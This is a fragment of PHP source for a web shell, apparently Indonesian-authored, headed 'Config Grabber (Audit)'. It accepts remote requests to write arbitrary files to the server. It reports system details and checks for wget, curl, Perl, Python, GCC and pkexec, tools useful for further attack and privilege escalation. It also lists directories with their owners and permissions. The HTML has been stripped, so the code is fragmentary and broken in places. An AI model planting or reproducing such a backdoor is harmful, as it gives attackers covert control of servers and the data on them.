Config Grabber (Audit)
|
';
} exit;
} elseif ($_REQUEST['d7net'] == allheks('cfile')) {
if (isset($_POST['createf'])) {
$nama_file = basename(trim($_POST["pile"]));
$isi_file = $_POST["kont"];
$file = fopen("$currentDir/$nama_file", "w");
if ($file) {
fwrite($file, $isi_file);
fclose($file);
echo "
System :
".php_uname()."
IP Address :
".$_SERVER['SERVER_ADDR']."
PHP Version :
".phpversion()."
Server :
".$_SERVER['SERVER_SOFTWARE']."";
echo "MYSQL : ";
if (function_exists("mysql_connect")) {
echo "
ON";
} else {
echo "
OFF";
}
echo " | cURL : ";
if (function_exists("curl_init")) {
echo "
ON";
} else {
echo "
OFF";
}
echo " | WGET : ";
if (file_exists("/usr/bin/wget")) {
echo "
ON";
} else {
echo "
OFF";
}echo " | Perl : ";
if (file_exists("/usr/bin/perl")) {
echo "
ON";
} else {
echo "
OFF";
}
echo " | Python : ";
if (file_exists("/usr/bin/python2")) {
echo "
ON";
} else {
echo "
OFF";
}
echo " | GCC : ";
$gecece = gcc();
if ($gecece) {
echo "
ON";
} else {
echo "
OFF";
}
echo " | PKEXEC : ";
if (pkesek()) {
echo "
ON";
} else {
echo "
OFF";
}
exit;
}
function stats($file){
$izin = substr(sprintf('%o', fileperms($file)), -4);
return $izin;
}
if (!is_readable($currentDir)) {
die('
Permission : Denied
Gagal akses folder => '.basename($currentDir).'
');
}
?>
Name |
Size |
Date Modified |
Owner |
Permissions |
Actions |
" . htmlspecialchars($item) . "";
} else {
echo " " . htmlspecialchars($item);
}
?>
|
|
|
|
';
elseif(!is_readable("$fullPath")) echo ''; echo stats("$fullPath");
if(is_writable("$fullPath") || !is_readable("$fullPath")) echo '';
?> |
|